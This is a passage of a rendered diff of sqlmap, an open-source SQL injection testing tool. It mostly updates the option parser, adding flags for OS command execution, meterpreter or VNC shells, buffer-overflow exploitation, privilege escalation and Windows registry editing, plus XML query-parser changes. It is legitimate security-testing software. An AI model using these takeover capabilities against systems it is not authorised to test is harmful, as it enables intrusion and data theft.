||||||
injection.add_option("--excl-reg", dest="eRegexp",
|
injection.add_option("--excl-reg", dest="eRegexp",
|
||||||
help="Regexp matches to be excluded before "
|
help="Matches to be excluded before "
|
||||||
"calculating page hash")
|
"comparing page contents")
|
||||||
|
|
||||||
|
|
||||||
# Techniques options
|
# Techniques options
|
||||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||||
@@ -163,19 +172,26 @@ def cmdLineParser():
|
|||||||
|
|
||||||
techniques.add_option("--time-test", dest="timeTest",
|
techniques.add_option("--time-test", dest="timeTest",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Test for Time based blind SQL injection")
|
help="Test for time based blind SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--time-sec", dest="timeSec",
|
||||||
|
type="int", default=5,
|
||||||
|
help="Seconds to delay the DBMS response "
|
||||||
|
"(default 5)")
|
||||||
|
|
||||||
techniques.add_option("--union-test", dest="unionTest",
|
techniques.add_option("--union-test", dest="unionTest",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Test for UNION query (inband) SQL injection")
|
help="Test for UNION query (inband) SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-tech", dest="uTech",
|
||||||
|
help="Technique to test for UNION query SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-use", dest="unionUse",
|
techniques.add_option("--union-use", dest="unionUse",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Use the UNION query (inband) SQL injection "
|
help="Use the UNION query (inband) SQL injection "
|
||||||
"to retrieve the queries output. No "
|
"to retrieve the queries output. No "
|
||||||
"need to go blind")
|
"need to go blind")
|
||||||
|
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||||
|
|
||||||
@@ -183,13 +199,12 @@ def cmdLineParser():
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Perform an extensive DBMS version fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||||
"be used to enumerate the back-end database "
|
"be used to enumerate the back-end database "
|
||||||
"management system information, structure "
|
"management system information, structure "
|
||||||
"and data contained in the tables. Moreover "
|
"and data contained in the tables. Moreover "
|
||||||
"you can run your own SQL SELECT queries.")
|
"you can run your own SQL statements.")
|
||||||
|
|
||||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
enumeration.add_option("-b", "--banner", dest="getBanner",
|
||||||
action="store_true", help="Retrieve DBMS banner")
|
action="store_true", help="Retrieve DBMS banner")
|
||||||
@@ -211,25 +226,25 @@ def cmdLineParser():
|
|||||||
|
|
||||||
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Enumerate DBMS users password hashes (opt: -U)")
|
help="Enumerate DBMS users password hashes (opt -U)")
|
||||||
|
|
||||||
enumeration.add_option("--privileges", dest="getPrivileges",
|
enumeration.add_option("--privileges", dest="getPrivileges",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Enumerate DBMS users privileges (opt: -U)")
|
help="Enumerate DBMS users privileges (opt -U)")
|
||||||
|
|
||||||
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
||||||
help="Enumerate DBMS databases")
|
help="Enumerate DBMS databases")
|
||||||
|
|
||||||
enumeration.add_option("--tables", dest="getTables", action="store_true",
|
enumeration.add_option("--tables", dest="getTables", action="store_true",
|
||||||
help="Enumerate DBMS database tables (opt: -D)")
|
help="Enumerate DBMS database tables (opt -D)")
|
||||||
|
|
||||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||||
help="Enumerate DBMS database table columns "
|
help="Enumerate DBMS database table columns "
|
||||||
"(req:-T opt:-D)")
|
"(req -T opt -D)")
|
||||||
|
|
||||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||||
help="Dump DBMS database table entries "
|
help="Dump DBMS database table entries "
|
||||||
"(req: -T, opt: -D, -C, --start, --stop)")
|
"(req -T, opt -D, -C)")
|
||||||
|
|
||||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||||
help="Dump all DBMS databases tables entries")
|
help="Dump all DBMS databases tables entries")
|
||||||
@@ -252,61 +267,132 @@ def cmdLineParser():
|
|||||||
"enumerating tables")
|
"enumerating tables")
|
||||||
|
|
||||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||||
help="First table entry to dump")
|
help="First query output entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||||
help="Last table entry to dump")
|
help="Last query output entry to retrieve")
|
||||||
|
|
||||||
|
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||||
|
help="First query output word character to retrieve")
|
||||||
|
|
||||||
|
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||||
|
help="Last query output word character to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--sql-query", dest="query",
|
enumeration.add_option("--sql-query", dest="query",
|
||||||
help="SQL SELECT query to be executed")
|
help="SQL statement to be executed")
|
||||||
|
|
||||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
enumeration.add_option("--sql-shell", dest="sqlShell",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Prompt for an interactive SQL shell")
|
help="Prompt for an interactive SQL shell")
|
||||||
|
|
||||||
|
# User-defined function options
|
||||||
|
udf = OptionGroup(parser, "User-defined function injection", "These "
|
||||||
|
"options can be used to create custom user-defined "
|
||||||
|
"functions.")
|
||||||
|
|
||||||
|
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||||
|
help="Inject custom user-defined functions")
|
||||||
|
|
||||||
|
udf.add_option("--shared-lib", dest="shLib",
|
||||||
|
help="Local path of the shared library")
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||||
"can be used to access the back-end database "
|
"can be used to access the back-end database "
|
||||||
"management system file system taking "
|
"management system underlying file system.")
|
||||||
"advantage of native DBMS functions or "
|
|
||||||
"specific DBMS design weaknesses.")
|
|
||||||
|
|
||||||
filesystem.add_option("--read-file", dest="rFile",
|
filesystem.add_option("--read-file", dest="rFile",
|
||||||
help="Read a specific OS file content (only on MySQL)")
|
help="Read a file from the back-end DBMS "
|
||||||
|
"file system")
|
||||||
|
|
||||||
filesystem.add_option("--write-file", dest="wFile",
|
filesystem.add_option("--write-file", dest="wFile",
|
||||||
help="Write to a specific OS file (not yet available)")
|
help="Write a local file on the back-end "
|
||||||
|
"DBMS file system")
|
||||||
|
|
||||||
|
filesystem.add_option("--dest-file", dest="dFile",
|
||||||
|
help="Back-end DBMS absolute filepath to "
|
||||||
|
"write to")
|
||||||
|
|
||||||
# Takeover options
|
# Takeover options
|
||||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||||
"option can be used to access the back-end "
|
"option can be used to access the back-end "
|
||||||
"database management system operating "
|
"database management system underlying "
|
||||||
"system taking advantage of specific DBMS "
|
"operating system.")
|
||||||
"design weaknesses.")
|
|
||||||
|
takeover.add_option("--os-cmd", dest="osCmd",
|
||||||
|
help="Execute an operating system command")
|
||||||
|
|
||||||
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
||||||
help="Prompt for an interactive OS shell "
|
help="Prompt for an interactive operating "
|
||||||
"(only on PHP/MySQL environment with a "
|
"system shell")
|
||||||
"writable directory within the web "
|
|
||||||
"server document root for the moment)")
|
|
||||||
|
|
||||||
|
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
|
||||||
|
help="Prompt for an out-of-band shell, "
|
||||||
|
"meterpreter or VNC")
|
||||||
|
|
||||||
|
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
|
||||||
|
help="One click prompt for an OOB shell, "
|
||||||
|
"meterpreter or VNC")
|
||||||
|
|
||||||
|
takeover.add_option("--os-bof", dest="osBof", action="store_true",
|
||||||
|
help="Stored procedure buffer overflow "
|
||||||
|
"exploitation")
|
||||||
|
|
||||||
|
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
|
||||||
|
help="User priv escalation by abusing Windows "
|
||||||
|
"access tokens")
|
||||||
|
|
||||||
|
takeover.add_option("--msf-path", dest="msfPath",
|
||||||
|
help="Local path where Metasploit Framework 3 "
|
||||||
|
"is installed")
|
||||||
|
|
||||||
|
takeover.add_option("--tmp-path", dest="tmpPath",
|
||||||
|
help="Remote absolute path of temporary files "
|
||||||
|
"directory")
|
||||||
|
|
||||||
|
# Windows registry options
|
||||||
|
windows = OptionGroup(parser, "Windows registry access", "This "
|
||||||
|
"option can be used to access the back-end "
|
||||||
|
"database management system Windows "
|
||||||
|
"registry.")
|
||||||
|
|
||||||
|
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||||
|
help="Read a Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||||
|
help="Write a Windows registry key value data")
|
||||||
|
|
||||||
|
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||||
|
help="Delete a Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-key", dest="regKey",
|
||||||
|
help="Windows registry key")
|
||||||
|
|
||||||
|
windows.add_option("--reg-value", dest="regVal",
|
||||||
|
help="Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-data", dest="regData",
|
||||||
|
help="Windows registry key value data")
|
||||||
|
|
||||||
|
windows.add_option("--reg-type", dest="regType",
|
||||||
|
help="Windows registry key value type")
|
||||||
|
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
|
||||||
help="Retrieve each query output length and "
|
|
||||||
"calculate the estimated time of arrival "
|
|
||||||
"in real time")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
|
||||||
help="Update sqlmap to the latest stable version")
|
|
||||||
|
|
||||||
miscellaneous.add_option("-s", dest="sessionFile",
|
miscellaneous.add_option("-s", dest="sessionFile",
|
||||||
help="Save and resume all data retrieved "
|
help="Save and resume all data retrieved "
|
||||||
"on a session file")
|
"on a session file")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||||
|
help="Display for each output the "
|
||||||
|
"estimated time of arrival")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||||
|
help="Use google dork results from specified page number")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||||
|
help="Update sqlmap to the latest stable version")
|
||||||
|
|
||||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||||
help="Save options on a configuration INI file")
|
help="Save options on a configuration INI file")
|
||||||
@@ -314,6 +400,9 @@ def cmdLineParser():
|
|||||||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behaviour")
|
help="Never ask for user input, use the default behaviour")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
|
||||||
|
help="Clean up the DBMS by sqlmap specific "
|
||||||
|
"UDF and tables")
|
||||||
|
|
||||||
parser.add_option_group(target)
|
parser.add_option_group(target)
|
||||||
parser.add_option_group(request)
|
parser.add_option_group(request)
|
||||||
@@ -321,8 +410,10 @@ def cmdLineParser():
|
|||||||
parser.add_option_group(techniques)
|
parser.add_option_group(techniques)
|
||||||
parser.add_option_group(fingerprint)
|
parser.add_option_group(fingerprint)
|
||||||
parser.add_option_group(enumeration)
|
parser.add_option_group(enumeration)
|
||||||
|
parser.add_option_group(udf)
|
||||||
parser.add_option_group(filesystem)
|
parser.add_option_group(filesystem)
|
||||||
parser.add_option_group(takeover)
|
parser.add_option_group(takeover)
|
||||||
|
parser.add_option_group(windows)
|
||||||
parser.add_option_group(miscellaneous)
|
parser.add_option_group(miscellaneous)
|
||||||
|
|
||||||
(args, _) = parser.parse_args()
|
(args, _) = parser.parse_args()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from ConfigParser import NoSectionError
|
from ConfigParser import NoSectionError
|
||||||
from ConfigParser import ConfigParser
|
from ConfigParser import ConfigParser
|
||||||
|
|
||||||
@@ -33,10 +31,8 @@ from lib.core.data import logger
|
|||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
|
|
||||||
|
|
||||||
config = None
|
config = None
|
||||||
|
|
||||||
|
|
||||||
def configFileProxy(section, option, boolean=False, integer=False):
|
def configFileProxy(section, option, boolean=False, integer=False):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
|||||||
debugMsg += "ignoring. Skipping to next."
|
debugMsg += "ignoring. Skipping to next."
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def configFileParser(configFile):
|
def configFileParser(configFile):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,15 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import kb
|
|
||||||
|
|
||||||
|
|
||||||
class FingerprintHandler(ContentHandler):
|
class FingerprintHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
@@ -39,15 +33,13 @@ class FingerprintHandler(ContentHandler):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, banner, info):
|
def __init__(self, banner, info):
|
||||||
self.__banner = sanitizeStr(banner)
|
self.__banner = sanitizeStr(banner)
|
||||||
|
|
||||||
self.__regexp = None
|
self.__regexp = None
|
||||||
self.__match = None
|
self.__match = None
|
||||||
self.__dbmsVersion = None
|
self.__dbmsVersion = None
|
||||||
self.__techVersion = None
|
self.__techVersion = None
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
@@ -63,7 +55,6 @@ class FingerprintHandler(ContentHandler):
|
|||||||
for v in value.split("|"):
|
for v in value.split("|"):
|
||||||
self.__info[key].add(v)
|
self.__info[key].add(v)
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "regexp":
|
if name == "regexp":
|
||||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,9 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
import re
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
|
||||||
@@ -33,7 +31,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
def headersParser(headers):
|
def headersParser(headers):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTTP headers to
|
This function calls a class that parses the input HTTP headers to
|
||||||
@@ -48,13 +45,13 @@ def headersParser(headers):
|
|||||||
kb.headersCount += 1
|
kb.headersCount += 1
|
||||||
|
|
||||||
topHeaders = {
|
topHeaders = {
|
||||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||||
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
||||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
|
||||||
}
|
}
|
||||||
|
|
||||||
for header in headers:
|
for header in headers:
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
|
|
||||||
|
|
||||||
class htmlHandler(ContentHandler):
|
class htmlHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the input HTML page to
|
This class defines methods to parse the input HTML page to
|
||||||
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
|
|||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
self.__dbms = attrs.get("value")
|
self.__dbms = attrs.get("value")
|
||||||
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
|
|||||||
self.dbms = self.__dbms
|
self.dbms = self.__dbms
|
||||||
self.__match = None
|
self.__match = None
|
||||||
|
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
@@ -34,7 +32,6 @@ from lib.core.data import queries
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
|
|
||||||
|
|
||||||
class queriesHandler(ContentHandler):
|
class queriesHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the default DBMS queries
|
This class defines methods to parse the default DBMS queries
|
||||||
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
|
|||||||
self.__dbms = ''
|
self.__dbms = ''
|
||||||
self.__queries = advancedDict()
|
self.__queries = advancedDict()
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
data = sanitizeStr(attrs.get("value"))
|
data = sanitizeStr(attrs.get("value"))
|
||||||
@@ -103,10 +99,17 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.timedelay = data
|
self.__queries.timedelay = data
|
||||||
|
|
||||||
|
data = sanitizeStr(attrs.get("query2"))
|
||||||
|
self.__queries.timedelay2 = data
|
||||||
|
|
||||||
elif name == "substring":
|
elif name == "substring":
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.substring = data
|
self.__queries.substring = data
|
||||||
|
|
||||||
|
elif name == "case":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.case = data
|
||||||
|
|
||||||
elif name == "inference":
|
elif name == "inference":
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.inference = data
|
self.__queries.inference = data
|
||||||
@@ -127,6 +130,10 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.isDba = data
|
self.__queries.isDba = data
|
||||||
|
|
||||||
|
elif name == "check_udf":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.checkUdf = data
|
||||||
|
|
||||||
elif name == "inband":
|
elif name == "inband":
|
||||||
self.__inband = sanitizeStr(attrs.get("query"))
|
self.__inband = sanitizeStr(attrs.get("query"))
|
||||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||||
@@ -138,7 +145,8 @@ class queriesHandler(ContentHandler):
|
|||||||
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
||||||
self.__count = sanitizeStr(attrs.get("count"))
|
self.__count = sanitizeStr(attrs.get("count"))
|
||||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||||
|
self.__condition = sanitizeStr(attrs.get("condition"))
|
||||||
|
self.__condition2 = sanitizeStr(attrs.get("condition2"))
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
@@ -186,11 +194,18 @@ class queriesHandler(ContentHandler):
|
|||||||
|
|
||||||
elif name == "columns":
|
elif name == "columns":
|
||||||
self.__columns = {}
|
self.__columns = {}
|
||||||
self.__columns["inband"] = { "query": self.__inband }
|
self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
|
||||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
|
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
|
||||||
|
|
||||||
self.__queries.columns = self.__columns
|
self.__queries.columns = self.__columns
|
||||||
|
|
||||||
|
elif name == "dump_column":
|
||||||
|
self.__dumpColumn = {}
|
||||||
|
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||||
|
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||||
|
|
||||||
|
self.__queries.dumpColumn = self.__dumpColumn
|
||||||
|
|
||||||
elif name == "dump_table":
|
elif name == "dump_table":
|
||||||
self.__dumpTable = {}
|
self.__dumpTable = {}
|
||||||
self.__dumpTable["inband"] = { "query": self.__inband }
|
self.__dumpTable["inband"] = { "query": self.__inband }
|
||||||
@@ -198,7 +213,6 @@ class queriesHandler(ContentHandler):
|
|||||||
|
|
||||||
